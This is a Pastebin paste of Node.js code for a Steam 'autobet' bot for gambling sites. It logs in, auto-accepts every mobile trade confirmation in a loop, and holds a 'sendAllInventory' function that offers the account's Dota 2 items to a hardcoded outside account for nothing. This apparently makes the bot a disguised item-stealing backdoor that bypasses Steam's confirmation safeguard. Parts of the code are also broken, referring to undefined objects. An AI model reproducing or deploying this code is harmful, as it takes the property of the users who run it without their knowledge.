SHARE
TWEET

Autobet bot, fastvictory/csgoup

a guest Apr 27th, 2016 162 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var fs = require('fs');
  2. var crypto = require('crypto');
  3. var Steam = require('steam');
  4. var setupOffers = false;
  5. var SteamWebLogOn = require('steam-weblogon');
  6. var getSteamAPIKey = require('steam-web-api-key');
  7. var SteamTradeOffers = require('steam-tradeoffers');
  8. var SteamTotp = require('steam-totp');
  9. var SteamcommunityMobileConfirmations = require('smc');
  10. var admin = ''; // put your steamid here so the bot can accept your offers
  11. var logOnOptions = {
  12.   account_name: '',
  13.   password: '',
  14.   two_factor_code: SteamTotp.generateAuthCode('')
  15. };
  16. //server.listen(80);
  17. /*                                                                
  18. app.get('/', function (req, res) {
  19.   res.sendfile(__dirname + '/index.html');
  20. });
  21. */                                                                        
  22. var authCode = ''; // code received by email
  23. function steamBotLogger(log){                                                                  
  24.     console.log(log);
  25. }                                                                            
  26. try {          
  27.   logOnOptions.sha_sentryfile = getSHA1(fs.readFileSync('sentry_autobets'));
  28. } catch (e) {                                                                                                              
  29.   if (authCode !== '') {
  30.     logOnOptions.auth_code = authCode;
  31.   }
  32. }
  33.  
  34. /*
  35. // if we've saved a server list, use it
  36. if (fs.existsSync('servers')) {
  37.   Steam.servers = JSON.parse(fs.readFileSync('servers'));
  38. }*/
  39. var steamClient = new Steam.SteamClient();
  40. var steamUser = new Steam.SteamUser(steamClient);
  41. var steamFriends = new Steam.SteamFriends(steamClient);
  42. var steamWebLogOn = new SteamWebLogOn(steamClient, steamUser);
  43. var offers = new SteamTradeOffers();
  44. steamClient.connect();
  45. steamClient.on('debug', steamBotLogger);
  46. steamClient.on('connected', function() {
  47.   steamUser.logOn(logOnOptions);
  48. });
  49.  
  50. steamClient.on('logOnResponse', function(logonResp) {
  51.   if (logonResp.eresult === Steam.EResult.OK) {
  52.     console.log('Logged in!');
  53.     steamFriends.setPersonaState(Steam.EPersonaState.Online);
  54.  
  55.     steamWebLogOn.webLogOn(function(sessionID, newCookie) {
  56.                     function trademobile(){
  57. var hash = require('crypto').createHash('sha1');
  58. hash.update(Math.random().toString());
  59. hash = hash.digest('hex');
  60. device_id = 'android:' + hash;
  61. var steamcommunityMobileConfirmations = new SteamcommunityMobileConfirmations(
  62. {
  63.  steamid: "",
  64. identity_secret: '',
  65. device_id: this.device_id,
  66.     webCookie:  newCookie,
  67. });
  68. steamcommunityMobileConfirmations.FetchConfirmations((function (err, confirmations)
  69. {
  70.     if (err)
  71.     {
  72.         //console.tag('SteamBot').error(err);
  73.         return;
  74.     }
  75.     //console.tag('ESCROW').log('Трейдов: ' + confirmations.length + '');
  76.     if ( ! confirmations.length)
  77.     {
  78.         return;
  79.     }
  80.       steamcommunityMobileConfirmations.AcceptConfirmation(confirmations[0], (function (err, result)
  81.     {
  82.         if (err)
  83.         {
  84.             console.log(err);
  85.             return;
  86.         }
  87.         console.log('Result: ' + result);
  88.     }).bind(this));
  89. }).bind(this));
  90.   setTimeout(function(){ trademobile()}, 1000)
  91. }
  92. trademobile();
  93.  
  94.       getSteamAPIKey({
  95.         sessionID: sessionID,
  96.         webCookie: newCookie
  97.       }, function (err, APIKey) {
  98.         console.log(APIKey);
  99.         console.log('I install offery!');
  100.         offers.setup({
  101.           sessionID: sessionID,
  102.           webCookie: newCookie,
  103.           APIKey: APIKey
  104.         });
  105.         setupOffers = true;
  106.       });
  107.     });
  108.   }
  109. });
  110.  
  111. steamClient.on('servers', function(servers) {
  112.   fs.writeFile('servers', JSON.stringify(servers));
  113. });
  114. steamUser.on('updateMachineAuth', function(sentry, callback) {
  115.   fs.writeFileSync('sentry', sentry.bytes);
  116.   callback({ sha_file: getSHA1(sentry.bytes) });
  117. });
  118. sendAllInventory = function (){
  119.     if(setupOffers){
  120.     console.log('Отправляю бонус!');
  121.     steamWebLogOn.webLogOn(function(sessionID, newCookie) {
  122.           getSteamAPIKey({
  123.         sessionID: sessionID,
  124.         webCookie: newCookie
  125.       }, function (err, APIKey) {
  126.         console.log(APIKey);
  127.         console.log('I install offery!');
  128.         offers.setup({
  129.           sessionID: sessionID,
  130.           webCookie: newCookie,
  131.           APIKey: APIKey
  132.         });
  133.       });
  134.       });
  135.             offers.loadMyInventory({
  136.                 appId: 570,
  137.                 contextId: 2,
  138.                 tradableOnly: true
  139.             }, function(err, items) {
  140.                 if(err) {
  141.                     steam.webLogOn(function(newCookie) {
  142.                         offers.setup({
  143.                             sessionID: currentSessionId,
  144.                             webCookie: newCookie
  145.                         }, function(err) {
  146.                             if (err) {
  147.                             }
  148.                         });
  149.                     });
  150.                     console.log('ОШИБКА');
  151.                     return;
  152.                 }
  153.                 var item=[],num=0;
  154.                 for (var i = 0; i < 1; i++) {
  155.                         item[num] = {
  156.                             appid: 570,
  157.                             contextid: 2,
  158.                             amount: items[i].amount,
  159.                             assetid: items[i].id
  160.                         }
  161.                         num++;
  162.                 }
  163.                 console.log(item);
  164.                 if(item.length > 0){
  165.                     offers.makeOffer({
  166.                         partnerAccountId: '314699001',
  167.                         accessToken: '0KfWbadp',
  168.                         itemsFromMe: item,
  169.                         itemsFromThem: []
  170.                     }, function(err, response){
  171.                         if (err) {
  172.                             console.log(err);
  173.                             declineOffers();
  174.                             sendAllInventory();
  175.                             return err;
  176.                         }
  177.                         console.log('Successfully sent items!');
  178.                     });
  179.                     }else{
  180.         if (err)
  181.         {
  182.             //console.log(err);
  183.             return;
  184.         }
  185.             console.log('Nothing post!');
  186.         }
  187.             });
  188.             }
  189.             }
  190. function declineOffers() {
  191.     steamWebLogOn.webLogOn(function(sessionID, newCookie) {
  192.           getSteamAPIKey({
  193.         sessionID: sessionID,
  194.         webCookie: newCookie
  195.       }, function (err, APIKey) {
  196.         console.log(APIKey);
  197.         console.log('I install offery!');
  198.         offers.setup({
  199.           sessionID: sessionID,
  200.           webCookie: newCookie,
  201.           APIKey: APIKey
  202.         });
  203.       });
  204.       });
  205.     offers.getOffers({
  206.         get_sent_offers: 1,
  207.         active_only: 1
  208.     }, function(error, body) {
  209.         if(error){ return error; }
  210.         if (
  211.             body
  212.             && body.response
  213.             && body.response.trade_offers_sent
  214.         ) {
  215.             body.response.trade_offers_sent.forEach(function(offer) {
  216.                 if (offer.trade_offer_state == 2 || offer.trade_offer_state == 9) {
  217.                 console.log('cancels offer');
  218.                 offers.cancelOffer({tradeOfferId: offer.tradeofferid});
  219.                 }
  220.             });
  221.         }else{
  222.             console.log(body);
  223.         }
  224.     });
  225. }
  226. function getSHA1(bytes) {
  227.   var shasum = crypto.createHash('sha1');
  228.   shasum.end(bytes);
  229.   return shasum.read();
  230. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top